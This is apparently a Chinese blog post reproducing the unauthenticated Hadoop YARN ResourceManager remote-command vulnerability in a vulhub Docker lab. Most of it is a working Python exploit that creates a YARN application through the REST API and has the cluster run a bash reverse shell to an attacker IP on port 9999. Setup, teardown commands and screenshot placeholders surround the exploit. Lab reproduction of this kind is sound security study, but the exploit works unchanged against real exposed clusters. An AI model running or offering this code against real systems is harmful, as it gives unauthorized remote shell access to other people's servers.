美文网首页
Hadoop YARN ResourceManager 未授权访

Hadoop YARN ResourceManager 未授权访

作者: zzqsmile | 来源:发表于2019-09-16 16:39 被阅读0次
    环境

    https://vulhub.org/#/environments/hadoop/unauthorized-yarn/

    [root@localhost unauthorized-yarn]# pwd
    /root/zzqsmile/vulhub/hadoop/unauthorized-yarn
    [root@localhost unauthorized-yarn]# docker-compose up -d
    
    图片.png
    exp
    #!/usr/bin/env python
    
    import requests
    
    target = 'http://10.12.10.201:8088/'
    lhost = '107.182.30.95' # put your local host ip here, and listen at port 9999
    
    url = target + 'ws/v1/cluster/apps/new-application'
    resp = requests.post(url)
    app_id = resp.json()['application-id']
    url = target + 'ws/v1/cluster/apps'
    data = {
        'application-id': app_id,
        'application-name': 'get-shell',
        'am-container-spec': {
            'commands': {
                'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
            },
        },
        'application-type': 'YARN',
    }
    requests.post(url, json=data)
    
    复现
    • 监听
    图片.png
    • exp运行
    图片.png
    • 成功getshell
    图片.png
    环境移除
    [root@localhost unauthorized-yarn]# docker-compose down
    

    相关文章

      网友评论

          本文标题:Hadoop YARN ResourceManager 未授权访

          本文链接:https://www.haomeiwen.com/subject/qiqfuctx.html